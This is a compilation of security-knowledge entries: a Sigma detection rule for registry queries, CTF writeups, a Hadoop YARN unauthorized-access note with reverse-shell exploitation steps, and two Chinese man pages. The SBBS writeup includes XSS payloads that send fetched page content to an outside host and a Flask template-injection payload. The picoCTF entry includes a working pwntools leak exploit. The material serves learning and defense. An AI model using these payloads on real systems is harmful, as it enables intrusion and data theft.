## 测试案例
Windows server 2016模拟BabyShark执行执行的reg query HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default命令。由于缺少相应的样本,本测试案例利用CMD窗口模拟以上命令。
## 检测日志
Windows 安全日志
## 测试复现
```dos
C:\Users\Administrator>reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /ve
错误: 系统找不到指定的注册表项或值。
```
## 测试留痕
windows 安全日志,进程创建、子父进程、进程命令行参数

## 检测规则/思路
### sigma规则
```yml
title: windows本地执行reg query HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default
description: windows server 2016
references:
- https://github.com/redcanaryco/atomic-red-team/blob/910a2a764a66b0905065d8bdedb04b37049a85db/atomics/T1012/T1012.md
tags: T1012
status: experimental
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection:
EventID: 4688 #进程创建
Newprocessname: 'C:\Windows\System32\reg.exe' #进程信息>新进程名称
Creatorprocessname: 'C:\Windows\System32\cmd.exe' #进程信息>创建者进程名称
Processcommandline:
- reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"
- reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
- reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
- reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
- reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
- reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"
- reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit"
- reg query "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell"
- reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell"
- reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
- reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
- reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
- reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
- reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
- reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
- reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
- reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
- reg query HKLM\system\currentcontrolset\services /s | findstr ImagePath 2>nul | findstr /Ri ".*\.sys$"
- reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
#进程信息>进程命令行,实际情况下,你可以对任何注册表查询行为进行检测
condition: selection
level: low
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1012
<https://attack.mitre.org/techniques/T1012/>
Windows下reg命令详解
<https://www.jb51.net/article/30078.htm>
|
sec-knowleage
|
# Data Science 3
Category: Data Science, 200 points
## Description
See [Data Science 1](Data_Science_1.md).
## Solution:
For this flag, we'll look for the largest internal clique of hosts. In other words, we're searching for the largest "sub-network" in our corporation where all hosts are communicating with each other.
We'll use the reference code from [here](https://www.kaggle.com/hawkcurry/data-analysis-for-network-security-101-solution) to identify the clique.
```python
import networkx
from networkx.algorithms.approximation.clique import large_clique_size
from collections import Counter
internal_edges_all = df[
df['src_int'] & df['dst_int']
].drop_duplicates(['src_ip', 'dst_ip', 'dst_port'])
internal_ports = internal_edges_all.dst_port.unique()
port_upper_bounds = []
for p in internal_ports:
internal_edges = internal_edges_all\
.pipe(lambda x: x[x['dst_port'] == p])\
.drop_duplicates(['src_ip', 'dst_ip'])
edges = set()
for l, r in zip(internal_edges.src_ip, internal_edges.dst_ip):
k = min((l, r), (r, l))
edges.add(k)
degrees = Counter()
for (l, r) in edges:
degrees[l] += 1
degrees[r] += 1
max_clique_size = 0
min_degrees = len(degrees)
for idx, (node, degree) in enumerate(degrees.most_common()):
min_degrees = min(min_degrees, degree)
if min_degrees >= idx:
max_clique_size = max(max_clique_size, idx+1)
if min_degrees < max_clique_size:
break
port_upper_bounds.append((p, max_clique_size + 1))
max_port = 0
curr_max_clique = 0
max_clique_G = None
for p, max_clique_upper_bound in port_upper_bounds:
if curr_max_clique > max_clique_upper_bound: break
internal_edges = internal_edges_all\
.pipe(lambda x: x[x['dst_port'] == p])\
.drop_duplicates(['src_ip', 'dst_ip'])
internal_nodes = set(internal_edges.src_ip) | set(internal_edges.dst_ip)
G = networkx.Graph()
G.add_nodes_from(internal_nodes)
for l, r in zip(internal_edges.src_ip, internal_edges.dst_ip):
G.add_edge(l, r)
_size = large_clique_size(G)
if curr_max_clique < _size:
curr_max_clique = _size
max_port = p
max_clique_G = G
max_clique_ips = networkx.algorithms.approximation.clique.max_clique(max_clique_G)
max_clique_ips
```
Output:
```
{'120.18.123.198',
'120.18.132.228',
'120.18.14.179',
'120.18.147.29',
'120.18.15.122',
'120.18.154.145',
'120.18.158.121',
'120.18.187.161',
'120.18.201.129',
'120.18.241.224',
'120.18.254.217'}
```
We'll export to CSV:
```python
pd.DataFrame(max_clique_ips).to_csv("flag_c.csv", index = False, header = ["ip"])
```
And we got our third flag:
```
Congratulations! You achieved the goal. Here is your flag:
flag{12124wdjhjh78882saslw@90817#4}
```
|
sec-knowleage
|
# Hadoop YARN ResourceManager 未授权访问
## 原理
参考 http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf
## 测试环境
运行测试环境
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8088`即可看到Hadoop YARN ResourceManager WebUI页面。
## 利用
利用方法和原理中有一些不同。在没有 hadoop client 的情况下,直接通过 REST API
(https://hadoop.apache.org/docs/r2.7.3/hadoop-yarn/hadoop-yarn-site/ResourceManagerRest.html) 也可以提交任务执行。
利用过程如下:
1. 在本地监听等待反弹 shell 连接
1. 调用 New Application API 创建 Application
1. 调用 Submit Application API 提交
参考 [exp 脚本](exploit.py)
|
sec-knowleage
|
'\"
'\" Copyright (c) 1993-1994 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: catch.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: catch.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH catch 3tcl "8.0" Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
catch \- 对脚本求值并追踪异常返回
.SH "总览 SYNOPSIS"
\fBcatch\fI script \fR?\fIvarName\fR?
.BE
.SH "描述 DESCRIPTION"
.PP
\fBcatch\fR 命令被用于防止出错导致的终止命令解释。\fBCatch\fR 递归的调用 Tcl 解释器来执行 \fIscript\fR,并且不顾在执行 \fIscript \fR期间可能发生的任何错误,它总是返回而不引发(raise)任何错误。
.PP
如果 \fIscript\fR 引发一个错误,\fBcatch\fR 将返回一个非零的整数值,相应于异常返回代码中的一个(参见 tcl.h 来找到代码值的定义)。如果给出了 \fIvarName\fR 参数,则它所指名的变量被设置成从解释 \fIscript \fR得到的错误消息。
.PP
如果 \fIscript\fR 不引发任何错误,\fBcatch\fR 将返回 0(TCL_OK)并设置这个变量为脚本返回的值。
.PP
注意 \fBcatch\fR 捕获所有的例外,如同错误一样,包括了由 \fB break \fR 和 \fB continue \fR 生成的例外。唯一不捕获的错误是在编译脚本时发现的语法错误。这是因为 catch 命令只捕捉运行时的错误。当 catch 语句被编译后,脚本同样要被编译,并且任何错误都将生成一个 Tcl 错误。
.SH EXAMPLES
\fBcatch\fR 命令可在一个 \fB if \fR 中使用,基于一个脚本的(是否)成功而(进行)分支(branch)。
.CS
if { [catch {open $someFile w} fid] } {
puts stderr "Could not open $someFile for writing\\n$fid"
exit 1
}
.CE
\fBcatch\fR 命令不捕捉编译后的语法错误。第一次调用 proc \fBfoo\fR 时,(过程)体将被编译并且生成一个 Tcl 错误。
.CS
proc foo {} {
catch {expr {1 +- }}
}
.CE
.SH "关键字 KEYWORDS"
catch, error
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/06/21
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# buffer overflow 1
Binary Exploitation, 200 points
## Description:
> Can you authenticate to this service and get the flag? Connect with nc 2018shell3.picoctf.com 57659.
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
int flag() {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
printf("%s", flag);
return 0;
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
gid_t gid = getegid();
setresgid(gid, gid, gid);
// real pw:
FILE *file;
char password[64];
char name[256];
char password_input[64];
memset(password, 0, sizeof(password));
memset(name, 0, sizeof(name));
memset(password_input, 0, sizeof(password_input));
printf("What is your name?\n");
fgets(name, sizeof(name), stdin);
char *end = strchr(name, '\n');
if (end != NULL) {
*end = '\x00';
}
strcat(name, ",\nPlease Enter the Password.");
file = fopen("password.txt", "r");
if (file == NULL) {
printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(password, sizeof(password), file);
printf("Hello ");
puts(name);
fgets(password_input, sizeof(password_input), stdin);
password_input[sizeof(password_input)] = '\x00';
if (!strcmp(password_input, password)) {
flag();
}
else {
printf("Incorrect Password!\n");
}
return 0;
}
```
## Solution:
This program reads a name from the user into a buffer of 256 bytes, followed by a password read from a file into another local buffer. It then reads a password from the user, and if the user password matches the correct password - outputs the flag.
According to the name of the challenge, we need to leak the correct password.
Let's inspect the code part after part.
The first part reads the name from the user and appends a NULL terminator, if needed:
```c
fgets(name, sizeof(name), stdin);
char *end = strchr(name, '\n');
if (end != NULL) {
*end = '\x00';
}
```
The buffer size is 256 bytes, and `fgets` indeed reads here up to 256 bytes (`sizeof(name)`). No problem here.
What comes immediately later seems a bit more problematic:
```c
strcat(name, ",\nPlease Enter the Password.");
```
A string is appended to the name, without checking the buffer bounds. Therefore, if we supply a name of length 255, the `strcat` will append a 27-byte-long string to it, creating a consecutive buffer of 255+27 characters followed by a NULL terminator. Since `name` only has room for 256 characters, part of the string will be in fact stored in the `password` buffer.
Why is this important? Since a few lines later, the `password` buffer is populated with the real password, followed by a call to `puts` to print the name:
```c
fgets(password, sizeof(password), file);
printf("Hello ");
puts(name);
```
Since no NULL terminator is separating between the name and the password (the `strcat` operation moved it from the `name` buffer to the `password` buffer), printing the name will in fact continue and print out the password as well, as one consecutive string.
Therefore, in order to leak the flag, we just need to enter a 255-byte name:
```python
from pwn import *
NAME_BUFFER_LENGTH = 256
def login(name, password):
r = remote("2018shell3.picoctf.com", 57659)
r.sendlineafter("What is your name?", name)
out = r.recv(timeout = 5)
r.sendline(password)
return r.recvall()
leak = login("A" * NAME_BUFFER_LENGTH, "Fake Password")
password = leak.split(",")[1].replace("Incorrect Password!", "").rstrip()
log.info("Password: {}".format(password))
print login("Fake Name", password)
```
Output:
```console
root@kali:/media/sf_CTFs/pico/leak-me# python exploit.py
[+] Opening connection to 2018shell3.picoctf.com on port 57659: Done
[+] Receiving all data: Done (315B)
[*] Closed connection to 2018shell3.picoctf.com port 57659
[*] Password: a_reAllY_s3cuRe_p4s$word_56b977
[+] Opening connection to 2018shell3.picoctf.com on port 57659: Done
[+] Receiving all data: Done (91B)
[*] Closed connection to 2018shell3.picoctf.com port 57659
Hello Fake Name,
Please Enter the Password.
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_2b5cbbaa}
```
The flag: picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_2b5cbbaa}
|
sec-knowleage
|
## SBBS (Web, 250p)
tl;dr use xss to get a 404 error page and then use template injection to get the flag
We're given the source code of a sever that uses flask. The flag is hardcoded into the source but it's not used anywhere, so we either have to steal the source files or somehow extract it from the program.
The site itself allows us to write posts, which are then viewed by the admin. XSS almost immediately comes to mind
A quick check: (You can grab the source code of /catch [here](https://gist.github.com/nazywam/5d164f1969491e2067f17b3c61329040))
```javascript
<script type="text/javascript">
window.open ('http://nazywam.xyz/catch?','_self',false)
</script>
```
Confirms it:

It's worth noticing, that this ip matches the ip of the service, so the admin can access the server locally.
However, we're not able to get the files using that, same-origin-policy prevents us from making a request for the same domain but using a different protocol like "file://"
It turns out, that the responses to error messages are vulnerable to a [template injection](http://blog.portswigger.net/2015/08/server-side-template-injection.html)
```python
@app.errorhandler(404)
def not_found(e=None):
message = "%s was not found on the server." % request.url
template_string = template % message
return render_template_string(template_string, title=title_404), 404
```
We have almost complete control over request.url and can inject a template, like `{{ variable }}`
The problem is, `http://52.78.86.97:8080/somepagethatdoesntexist` returns nginx error pages instead of flask ones.
As it later turned out, flask used his error pages only for specified addresses, including 127.0.0.1 ;)
No problem! We use our xss to get the page as localhost:
```javascript
<script>
function hack(url, callback){
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function(){
if (xmlhttp.readyState == 4){
window.open ('http://nazywam.xyz/catch?'+xmlhttp.responseText,'_self',false)
}
}
xmlhttp.open("GET", url, true);
xmlhttp.send();
}
hack("/{{ FLAG }}")
</script>
```
Unfortunately, we can't acces FLAG directly but only [template globals](http://junxiandoc.readthedocs.io/en/latest/docs/python_flask/flask_template.html#global-variables-within-templates) and they don't have references to app class.
The breakthrough was finding the function `config.from_object("admin.app")`, with it, we can finally access the app and then the flag.
Because `config.from_object()` only updates `config`, we have to print the flag separatly, so the final payload is:
`{{ config.from_object('admin.app') }} {{ config.FLAG }}`

###Congratz, to the author(s), that was a great chall! If only we got it 4 minutes earlier ;) ###
|
sec-knowleage
|
## 报告工具
| Reporting Tools | | | | | |
| :----------------------------------------------------------: | :--------: | :-------: | :----: | :------: | :--: |
| [CaseFile](https://github.com/Jack-Liang/kalitools/blob/master/Reporting%20Tools/CaseFile.md) | CutyCapt | dos2unix | Dradis | KeepNote | |
| MagicTree | Metagoofil | Nipper-ng | pipal | | |
|
sec-knowleage
|
# Writeup HackIT 2017
Team: c7f.m0d3, nazywam, akrasuski1, shalom, ppr

### Table of contents
* [B3tterS0ci4lN3twork (web)](web50)
* [V1rus3pidem1c (web)](web100)
* [Weekands of hacker (web)](web150)
* [Today’s moon phase (pwn)](pwn150)
* [4_messages (crypto)](crypto100)
* [Eva’s chance (crypto)](crypto150)
* [Chinese Satellite (crypto)](crypto200)
|
sec-knowleage
|
.\" Copyright 1996 Derek B. Noonburg
.TH xpdf 1 "02 Aug 1999"
.SH NAME
xpdf \-Portable Document Format(PDF)文件阅读器(版本0.90)
.SH 总览
.B xpdf
[选项]
.RI [ PDF文件
.RI [ page]]
.SH 描述
.B Xpdf是一个 Portable Document Format(PDF) 文件阅读软件.(PDF文件也经常被称为"Acrobat" 文件,这种叫法来源于Adobe公司的PDF软件的名字.) Xpdf运行在UNIX,VMS和OS/2的X Window系统下.
.PP
运行xpdf,只要键入:
.PP
.RS
xpdf file.pdf
.RE
.PP
.I file.pdf
是你的PDF文件.文件名字后面可以跟随一个数字,用于指定最先显示的页面的页码,比如:
.PP
.RS
xpdf file.pdf 18
.RE
.PP
你当然也可以启动xpdf而不打开任何文件.
.PP
.RS
xpdf
.RE
.SH 选项
方括弧中列出了X资源和相应的选项
.TP
.B \-err
将错误信息指定送到/dev/tty而不是标准错误中(此选项当xpdf被其它程序,比如netscape,打开时,十分有用,否则,每个错误都会弹出一个令人讨厌的小窗口).
.TP
.BI \-z " zoom"
设定初始的放大因子.放大因子是(-5..5)之间的一个数字,其中0表示72dpi.你也可以通过\`page`设定显示页面大小配合窗口大小,或者通过\`width`设定显示页面宽度配合窗口宽度.
.RB [ xpdf.initialZoom]
.TP
.BI \-g " geometry"
设定窗口的初始几何参数.
.RB (相当于 \-geometry.)
.RB [ xpdf.geometry]
.TP
.BI \-remote " name"]
启动/连接名为name的xpdf远程服务器(参见后面的"远程服务器模式"部分)
.TP
.B \-raise
建立xpdf远程服务器窗口.(仅适用于-remote时)
.TP
.B -\quit
退出xpdf远程服务器.(仅适用于-remote时)
.TP
.B \-cmap
安装一个自定义的色彩地图.此选项在TrueColor模式下无效.
.RB [ xpdf.installCmap]
.TP
.BI \-rgb " number"
设置xpdf将要分配的最大RGB值.缺省值是5(即RGB值5x5x5); 设置一个小数值,可以节省色彩表记录.在自定义色彩地图和TrueColor模式下,此选项无效.
.TP
.BI \-papercolor " color"
设置"页面色彩",比如,页面的显示背景.当pdf文件出现类似在字符后填充白色等情况的时候,此选项无法正常工作.
.RB [ xpdf.paperColor]
.TP
.B \-eucjp
复制字符时,将日文字符转换成EUC-JP编码.这是至今为止唯一的日文字符转换选项---它的唯一作用就是将非日文字符转换成7-bit的ASCII,以便于配合EUC-JP编码.(此选项只有在编译pdftotext时加上日文支持才有效)
.RB [ xpdf.eucjp ]
.TP
.BI \-t1lib " font-type"
设定使用t1lib类型的字体提供器.选项为\`none`(完全不使用t1lib),\`plain`(使用non-anti-aliased字体),\`low`或\`high`(使用low-level或者high-level anti-aliased 字体).
.RB [ xpdf.t1libControl]
.TP
.BI \-ps " PS-file"
设定缺省的PostScript输出文件的名字.此选项也可以以\`|command`的形式,通过某个命令来管道PostScript文件.
.RB [ xpdf.psFile]
.TP
.BI \-paperw " size"
设定页面宽度,单位是像素点.
.RB [ xpdf.psPaperWidth]
.TP
.BI \-paperh " size"
设定页面高度,单位是像素点.
.RB [ xpdf.psPaperHeight]
.TP
.B \-level1
产生Level1 PostScript文件.输出的PostScript文件相当的大(如果它包含图片的话),但是确可以在Level 1打印机上打印输出.此选项将所有的图像转换成黑白图像.
.RB [ xpdf.psLevel1]
.TP
.B \-cmd
打印出命令的执行结果(在调试时有用)
.TP
.B \-q
不打印任何信息或者错误
.TP
.B \-h
打印帮助信息
.RB (相当于 \-help)
.PP
一些其他的X选项和资源同样可以如预期的一样执行
.TP
.BI \-display " display"
.RB [ xpdf.display]
.TP
.BI \-fg " color"
.RB [ 相当于 \-foreground]
.RB [ xpdf.foreground]
.RB \-bg " color"
.RB (相当于 \-background)
.RB [ xpdf.background]
.TP
.BI \-font " font"
.RB ( 相当于 \-fn)
.RB [ xpdf.font]
.PP
色彩和字体选项只影响用户界面部分,不影响PDF文件的显示.(\`paper`)
.PP
下列的X资源没有对应的命令行选项
.TP
.B xpdf.urlCommand
设定,当你点击网络链接时执行的命令.详情参见后面的
.B "网络浏览器"
部分.
.TP
.B xpdf.japaneseFont
设定用于使用日文字符的相应的X字体模式.缺省的是:
.PP
.RS
-*-fixed-medium-r-normal-*-%s-*-*-*-*-*-jisx0208.1983-0
.RE
.TP
.B xpdf.viKeys
设定将左,右,上和下的滚动由\`h`,\`l`,\`k`和\`j`键执行.
.PP
下面的资源用于设定文件名字使用的14种基本的Type 1字体.
.PP
.RS
.B xpdf.t1TimesRoman
.br
.B xpdf.t1TimesItalic
.br
.B xpdf.t1TimesBold
.br
.B xpdf.t1TimesBoldItalic
.br
.B xpdf.t1Helvetica
.br
.B xpdf.t1HelveticaOblique
.br
.B xpdf.t1HelveticaBold
.br
.B xpdf.t1HelveticaBoldOblique
.br
.B xpdf.t1Courier
.br
.B xpdf.t1CourierOblique
.br
.B xpdf.t1CourierBold
.br
.B xpdf.t1CourierBoldOblique
.br
.B xpdf.t1Symbol
.br
.B xpdf.t1ZapfDingbats
.RE
.PP
如果激活t1lib,这些Type 1字体将被用于取代X服务器的字体.
.SH 控制
.SS 屏幕控制在xpdf窗口的底部.
.TP
.B "左/右箭头按键"
翻到前/后一页
.TP
.B "双左/右箭头按键"
向前/后翻动10页
.TP
.B "破折号左/右箭头按键"
沿着历史路径向前/后翻动
.TP
.B "\`Page`输入框"
翻到指定的页码.通过点击激活输入框,输入页码,然后回车.
.TP
.B "放大缩小弹出菜单"
调整放大因子.(参见前面-z选项的说明)
.TP
.B "望远镜按键"
查找某个文本.
.TP
.B "打印机按键"
弹出一个产生PostScript文件的对话框.对话框可以设定需要
打印的页面和PostScript文件的名字.当文件名字为\'-'时,代表
标准输出,或者用\'|command'通过某个命令来管道PostScript,
比如,\'|lpr'.
.TP
.B "\'?'按键"
弹出一个\'about xpdf'窗口.
.TP
.B "链接信息"
当鼠标移动到某个链接的上面,\`?`和\`Quit`按键之间的空间用来显示链接地址或者外部文件名.
.TP
.B "\`Quit`按键"
退出xpdf.
.PP
.SS 菜单
按鼠标右键,会弹出一个含有以下命令的弹出菜单.
.TP
.B "Open..."
通过文件选择器打开一个新文件.
.TP
.B "Save PDF..."
通过文件选择器保存现有文件.
.TP
.B "Rotate left"
将当前页面逆时针旋转90度.
.TP
.B "Rotate right"
将当前页面顺时针旋转90度.这两个旋转命令主要是为了那些没有在文件中正确指定旋转信息的PDF文件设计的,即使您的X服务器不支持字体旋转,它依然起作用.
.TP
.B "Quit"
退出xpdf.
.PP
.SS 字符选择
按住鼠标并拖动它,可以高亮出一个任意的矩形.任何在此矩形中的字符都会被复制到X选择缓冲中去.
.PP
.SS 链接
点击一个超级链接可以跳转到此链接的目标地址中去.一个指向某个PDF文件的链接将促使xpdf打开此文件.一个指向某可执行程序的\`launch`的链接将弹出一个对话框,如果您点击\`ok`,就会执行此程序.URL链接调出某个外部命令.(参见下面网络浏览器部分.)
.PP
.SS 滚动
按住鼠标中键并拖动之,可以滚动页面.
.PP
.SS 快捷键
.TP
.B o
通过文件选择器打开一个新PDF文件.
.TP
.B f
查找字符串.
.TP
.B n
翻到下一页.
.TP
.B p
翻到前一页.
.TP
.BR 空格键,PageDown键或者Next键
向下滚动当前页面,如果已经到达当前页面低部,则翻到下一页.
.TP
.BR Backspace键,Delete键,PageUp或者Previous键
向上滚动当前页面,如果已经到达页面顶部,则翻到前一页.
.TP
.B Home键
滚动到当前页面顶部.
.TP
.B End键
滚动到当前页面低部.
.TP
.B 箭头键
滚动当前页面.
.TP
.B control-L
更新当前页面.
.TP
.B q
退出xpdf.
.SH "网络浏览器"
如果您希望点击一个指向PDF文件的链接时,从netscape或者mosaic(或者其他的浏览器)中自动启动xpdf,您需要在您的用户目录下修改(或者创建)
.I .mime.types
和
.I .mailcap
文件.
在
.I .mime.types
中加入一行:
.PP
.RS
application/pdf pdf
.RE
.PP
在
.I .mailcap
中加入:
.PP
.RS
# Use xpdf to view PDF files.
.RE
.RS
application/pdf; xpdf -err %s
.RE
.PP
确认xpdf在您的可执行查找路径中.
.PP
当您点击一个PDF文件中的URL链接,xpdf将执行一个由xpdf.urlCommand资源指定的命令,并将资源中\`%s`替换为相应的URL.比如,指定netscape打开URL,可以这样设定资源.
.PP
.RS
xpdf.urlCommand: netscape -remote `openURL(%s)`
.RE
.SH "远程服务器模式"
通过指定一个服务器的名字,xpdf可以以远程服务器模式打开(和文件名,页码).
.PP
.RS
xpdf -remote myServer file.pdf
.RE
.PP
如果没有xpdf运行在以myServer为名字的服务器模式中,那么一个新的xpdf窗口会被打开.此时,如果键入另一个命令:
.PP
.RS
xpdf -remote myServer another.pdf 9
.RE
.PP
则不会启动新的xpdf,而前一个xpdf(服务器)将会打开
.I another.pdf
并且显示第9页.如果文件名字相同:
.PP
.RS
xpdf -remote myServer another.pdf 4
.RE
.PP
xpdf服务器将会简单的显示指定的页面.
.PP
-raise选项通知服务器唤醒它的窗口.它既可以后面跟随文件名和页码也可以单独使用.
.PP
-quit选项通知服务器关闭窗口并且退出.
.SH "选项文件"
xpdf会从您的用户目录(如果有的话)中读取一个叫做
.I .xpdfrc
的文件.这个文件可以包含两种条目.
.TP
.BI fontpath " directory"
在
.IR dicrectory
中寻找Type 1字体.
Xpdf只通过此条目获得字体编码.为了显示,还要通过
.B fontmap
条目来布局字体.
.TP
